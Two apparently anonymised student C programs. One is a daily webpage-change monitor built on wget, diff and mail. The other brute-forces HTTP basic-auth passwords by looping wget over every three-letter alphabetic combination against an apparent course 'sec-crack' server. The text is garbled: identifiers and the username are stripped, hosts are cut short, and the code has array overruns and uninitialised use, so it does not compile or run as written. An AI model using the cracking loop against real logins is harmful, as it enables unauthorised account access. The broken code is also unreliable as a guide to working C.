# include <stdlib.h>
# include <stdio.h>
# include <strings.h>


int ()
{
	
	FILE* fpp;										
	FILE* fp;
			
	char s[100];
	int i;
	
	while(1)										
	{
		system("wget -nv http://www.cs.rmit.edu./students");				
		
		i=0;		
		
		fp = fopen("dummyindex.txt","r");
		
		if(fp == (FILE*) NULL)								
		{
			printf(" is  previously saved webpage in the file\n");
			i=1;
			fp = fopen("dummyindex.txt","w");

		}
				
		fclose(fp);
		
				
		
		
		
		system("diff index.html dummyindex.txt > compareoutput.txt");		

				
		if(fpp != (FILE*) NULL)	
		{
			
			fpp = fopen("compareoutput.txt","r");					
			
			fgets(s,100,fpp);							
			
			fclose(fpp);								
		
		
		   
			if((strlen(s)>0) && i==0)								
			{
				system("mail @cs.rmit.edu. < compareoutput.txt");	
				system("cp index.html dummyindex.txt");				
				printf("Message has been sent\n");				
			}
			else
				printf(" is  change in the \n");			
		}
		
		

		system("rm index.html")	;				
		
		sleep(86400);									
	}
				
	return 1;
}

#include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9


int ()
{   int startTime, stopTime, final;
    int i,j,k;
    int pass,count=0;
    char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};
    char [4];
    char url1[100];
    char url2[100];

    startTime = time();
   for (i=0;i<=52;i++)
   {

     for (j=0;j<=52;j++)
       {

	for(k=0;k<=52;k++)

	  { 
	     count++;
             [0] = arr[i];
	     [1] = arr[j];
	     [2] = arr[k];
	     [3] = '\0';


	     printf("Checking for the word :%s\n",);
	     strcpy(url1 ,"wget --http-user= --http-passwd=");
	     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
	     strcat(url1,);
	     strcat(url1,url2);


	     pass = system(url1);
	     if (pass == 0)
	     {   
                printf("Success\n");
		printf("Number of attempts = %d\n",count);
	        stopTime = time();

                final = stopTime-startTime;
		printf("The password for the user  : %s\n",); 
                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
	        
		exit(1);}


	      }
        }

   }
 }


